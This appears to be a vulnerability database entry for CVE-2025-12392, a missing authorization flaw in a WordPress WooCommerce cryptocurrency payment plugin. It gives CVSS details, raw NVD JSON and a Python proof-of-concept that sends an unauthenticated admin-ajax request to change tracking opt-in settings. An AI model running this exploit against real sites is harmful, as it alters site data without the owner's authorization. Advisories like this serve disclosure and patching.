Security Vulnerability Report
中文
CVE-2025-12392 CVSS 5.3 MEDIUM

CVE-2025-12392

Published: 2025-11-18 10:15:47
Last Modified: 2026-04-15 00:35:42

Description

The Cryptocurrency Payment Gateway for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'handle_optin_optout' function in all versions up to, and including, 2.0.25. This makes it possible for unauthenticated attackers to opt in and out of tracking.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Cryptocurrency Payment Gateway for WooCommerce <= 2.0.25

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12392 PoC - Missing Authorization in Cryptocurrency Payment Gateway for WooCommerce # Target: WordPress site with Cryptocurrency Payment Gateway plugin <= 2.0.25 def exploit_cve_2025_12392(target_url): """ Exploit for missing capability check on handle_optin_optout function. Allows unauthenticated attackers to modify tracking settings. """ # Target endpoint (WordPress AJAX handler) endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Payload to opt-out of tracking payload = { 'action': 'triplea_optin_optout_handler', 'triplea_optin': '0', # 0 = opt-out, 1 = opt-in 'user_id': '0' # Target user ID (0 for current/anonymous) } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-12392-PoC)' } try: print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-12392...") # Send the malicious request response = requests.post(endpoint, data=payload, headers=headers, timeout=10) print(f"[+] Request sent to {endpoint}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:200]}") # Check if the request was successful if response.status_code == 200: print("[+] Potential vulnerability confirmed - request processed") print("[*] Note: Successful exploitation means tracking settings were modified") else: print("[-] Request failed or target may not be vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") sys.exit(1) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12392.py <target_url>") print("Example: python cve-2025-12392.py http://example.com") sys.exit(1) exploit_cve_2025_12392(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12392", "sourceIdentifier": "[email protected]", "published": "2025-11-18T10:15:47.480", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Cryptocurrency Payment Gateway for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'handle_optin_optout' function in all versions up to, and including, 2.0.25. This makes it possible for unauthenticated attackers to opt in and out of tracking."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3446959%40triplea-cryptocurrency-payment-gateway-for-woocommerce&new=3446959%40triplea-cryptocurrency-payment-gateway-for-woocommerce&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/triplea-cryptocurrency-payment-gateway-for-woocommerce/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/96d48392-fb64-4e5e-be9c-21df0bf75de6?source=cve", "source": "[email protected]"}]}}